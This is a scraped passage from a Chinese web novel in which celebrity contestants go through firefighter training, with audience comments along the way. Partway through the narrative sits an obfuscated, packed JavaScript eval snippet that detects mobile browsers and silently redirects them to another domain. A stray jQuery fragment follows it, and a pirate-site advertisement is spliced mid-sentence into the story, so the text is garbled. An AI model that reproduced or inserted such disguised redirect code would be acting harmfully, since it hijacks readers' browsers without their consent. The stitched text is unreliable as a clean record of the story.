“分组进行，今天上午合计总成绩最低的一队，一会去给大家抬水！”
站在训练楼下看着很简单，但实际上真的上手，太累了！
拿着水带负重到楼顶，周一就感觉已经耗尽了所有的力气，再抱着一百斤的假人，太难了！
不过还好，是四人一队一起进行，但要从楼上携带两名假人。
多亏了齐泽阳，自己抱着一个假人就往下冲。
而周一和刘钦佩合作抬一个跟在他后面，苏念安则跟在最后。
但并不是每一组都这么顺利，王浩然到顶就已经不行了，更别说抱假人了。
还是两个消防员一人背一个，叶曦微扶着他，才勉强从楼上下来。
一下来就瘫坐在地上，大口喘着粗气。
【感觉他命都快交代在这里了！】
【咳咳，我都不好意思说我粉他！】
结果显而易见，周一两人托齐泽阳的福，排名第一，梁影帝紧随其后。
然后是沈川和林莹两人，垫底的肯定就是王浩然组了。
叶曦微一副恨铁不成钢的样子，但又拿王浩然无可奈何，毕竟他现在躺在那就好像快要完蛋了。
“休息十分钟，进行第二项训练。”
大家一个个东倒西歪，要么就抓紧去接口水，实在是又热又渴。
怪不得说一会要抬水呢，刚才周一还纳闷，这不有两桶吗？
但转眼的功夫一桶水就见底了。
“好！集合！”
在王浩然的哀嚎声中，众人又站成两排。
“下一项，爬绳，四楼！齐泽阳！”
“到！”
所谓的爬绳，就是在楼外侧挂一根绳子，队员们挂着安全绳往上爬，然后从特定楼层的窗户里翻进去。
齐泽阳三下五除二，像那个猴子一样，蹭蹭蹭就上去了。
周一本以为会很简单，但当他看见王浩然都上到二楼，而他还在原地踏步的时候，有些傻了。
其实主要是王浩然和梁柏霖他们经常拍戏，对于这类或多或少都接触过，有些技巧在的。
要用脚缠住绳子，这样能给一个支撑，然后再往上爬，而不单是靠手臂的力量。
但周一学了半天也没成功，最后还是靠
一点一点挪动上去的。
这次让王浩然排在第二是周一和沈川不能接受的！
“上午训练的最后一项！百米障碍出发去田径场！”
这个百米障碍可不止有一百米而是在跑道一圈每一百米一个项目。
先是手携两卷水带跑一百米然后负重假人一百米接着是液化气罐最后是空跑冲刺。
所有人跑完都累瘫在了地上。
女生们已经顾不得自己的妆容了也别提什么形象根本已经不存在了。
缓了好一会儿大家才陆陆续续来到食堂。
而不出所料的叶曦微和王浩然去抬了两桶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15678412|173182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水回来。
叶曦微也是认命了扛起一桶水来就走什么淑女不淑女的姐不在乎了！
虽然**训练很苦但在饭菜上绝不会克扣的。
每一桌都是四菜一汤营养均衡能迅速补充训练所消耗的能量。
“你们每天训练都是这么累吗？”
周一边往嘴里塞着米饭边问道。
“差不多吧有时候比这还累点但能训练就是很幸福的事情。”
齐泽阳说道。
周一明白他的意思能训练就证明不用出队也就证明没有灾情。
“你们没想过偷偷懒吗？给自己放两天假？”
王浩然听到后转头说道。
“有假的除非紧急情况我们每个月其实都有月假的！”
“如果我们训练偷懒了还会有人打119吗？”
默不作声的石队突然说了一句大家都沉默了。
【呜呜呜！怎么看个恋综还能掉泪啊！】
【消防员真是太不容易了！】
【我爸爸就是消防员我还记得小时候又一次他后背烧伤
说</a>更新，记住域名ｃａｉｘｓ．ｃｏm?(请来才小
说
看最新章节
完整章节)见到自己队长的第一句话就是：还好我当时训练没偷懒！】
【谁懂啊家人们！我们真的被保护得很好！】
午饭之后是休息充足的睡眠才能保证大家的状态始终在线。